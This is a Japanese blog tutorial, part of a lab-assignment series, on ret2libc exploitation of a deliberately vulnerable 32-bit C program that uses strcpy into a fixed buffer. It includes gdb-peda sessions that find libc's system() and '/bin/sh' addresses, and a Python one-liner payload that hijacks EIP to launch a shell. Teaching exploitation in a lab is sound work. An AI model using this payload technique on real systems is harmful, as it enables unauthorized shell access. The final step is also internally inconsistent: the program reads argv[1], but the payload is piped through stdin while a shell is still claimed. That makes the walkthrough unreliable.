ret2libc(弊研究室の某課題について考える12日目)

はじめに

弊研究室の某課題について考える12日目の記事です。

前回のret2pltを応用したものになります

return to libc

前回EIPを奪った後にその宛先アドレスをpltに変え、変数を実行しました。ですがret2pltはpltにある関数、つまりプログラムで使用される関数しか利用できません。

しかしライブラリは読み込んでいるのでライブラリの関数アドレスが分かればpltによる動的な解決をせずとも関数を実行することができます。

ということで今回はret2libcをやっていきます。

ret2libcをやってみる

今回のサンプルプログラムも前回と一緒

#include<stdio.h>
#include<string.h>

int main(int argc, char *argv[]){
        setbuf(stdin,NULL);
        setbuf(stdout,NULL);
        char buf[100] = {};
        
        strcpy(buf,argv[1]);
        printf("Hi ");
        puts(buf);
        return 0;
}

pltのアドレスはobjdumpで簡単にとれましたがlibcのアドレスはちょっと調べる必要があります。

gdb-peda$ start
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xb7fc2000 --> 0x1acda8 
ECX: 0x2862d6b5 
EDX: 0xbffff694 --> 0xb7fc2000 --> 0x1acda8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff668 --> 0x0 
ESP: 0xbffff660 --> 0xb7fc2000 --> 0x1acda8 
EIP: 0x8048532 (<main+5>: and    esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804852e <main+1>:    mov    ebp,esp
   0x8048530 <main+3>:    push   edi
   0x8048531 <main+4>:    push   ebx
=> 0x8048532 <main+5>: and    esp,0xfffffff0
   0x8048535 <main+8>:    sub    esp,0x100
   0x804853b <main+14>:   mov    eax,ds:0x804a040
   0x8048540 <main+19>:   mov    DWORD PTR [esp+0x4],0x0
   0x8048548 <main+27>:   mov    DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff660 --> 0xb7fc2000 --> 0x1acda8 
0004| 0xbffff664 --> 0x0 
0008| 0xbffff668 --> 0x0 
0012| 0xbffff66c --> 0xb7e2eaf3 (<__libc_start_main+243>:  mov    DWORD PTR [esp],eax)
0016| 0xbffff670 --> 0x1 
0020| 0xbffff674 --> 0xbffff704 --> 0xbffff82b ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0024| 0xbffff678 --> 0xbffff70c --> 0xbffff856 ("XDG_SESSION_ID=8")
0028| 0xbffff67c --> 0xb7fece3a (<call_init+26>:   add    ebx,0x121c6)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x08048532 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e55310 <__libc_system>

libcのsystem関数のアドレスがわかりました。後は/bin/shという文字列を探します。

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f77cec ("/bin/sh")

ということでret2pltのようにsystem関数のアドレスをEIPに、/bin/shの文字列を引数として積みます

ちなみにsystemの調べ方にはreadelfを使う方法もあります。

$ ldd ./a.out
    linux-gate.so.1 =>  (0xb7fff000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e36000)
    /lib/ld-linux.so.2 (0x80000000)
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system@
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

この00040310がlibcのベースからのオフセットになります。なのでlibcのベースを求めて計算する必要がでてきます。

libcのベースは/proc/pid/mapsを見るか

gdb-peda$ info proc mappings
process 9397
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000        0x0 /home/tsugumiyagi/Documents/pwn/pwn5/a.out
     0x8049000  0x804a000     0x1000        0x0 /home/tsugumiyagi/Documents/pwn/pwn5/a.out
     0x804a000  0x804b000     0x1000     0x1000 /home/tsugumiyagi/Documents/pwn/pwn5/a.out
    0xb7e14000 0xb7e15000     0x1000        0x0 
    0xb7e15000 0xb7fc0000   0x1ab000        0x0 /lib/i386-linux-gnu/libc-2.19.so
    0xb7fc0000 0xb7fc2000     0x2000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
    0xb7fc2000 0xb7fc3000     0x1000   0x1ac000 /lib/i386-linux-gnu/libc-2.19.so
    0xb7fc3000 0xb7fc6000     0x3000        0x0 
    0xb7fdb000 0xb7fdd000     0x2000        0x0 
    0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]
    0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
    0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
    0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
    0xbffdf000 0xc0000000    0x21000        0x0 [stack]

gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x08049000 r-xp  /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0x08049000 0x0804a000 r--p  /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0x0804a000 0x0804b000 rw-p  /home/tsugumiyagi/Documents/pwn/pwn5/a.out
0xb7e14000 0xb7e15000 rw-p  mapped
0xb7e15000 0xb7fc0000 r-xp  /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc2000 r--p  /lib/i386-linux-gnu/libc-2.19.so
0xb7fc2000 0xb7fc3000 rw-p  /lib/i386-linux-gnu/libc-2.19.so
0xb7fc3000 0xb7fc6000 rw-p  mapped
0xb7fdb000 0xb7fdd000 rw-p  mapped
0xb7fdd000 0xb7fde000 r-xp  [vdso]
0xb7fde000 0xb7ffe000 r-xp  /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 r--p  /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 rw-p  /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 rw-p  [stack]

で見ることができます。後はexploitコードです

 $ python -c 'print "A"*112+"\x10\x53\xe5\xb7" + "BBBB" + "\xec\x7c\xf7\xb7"' | ./a.out
sh$

これでシェルが起動します。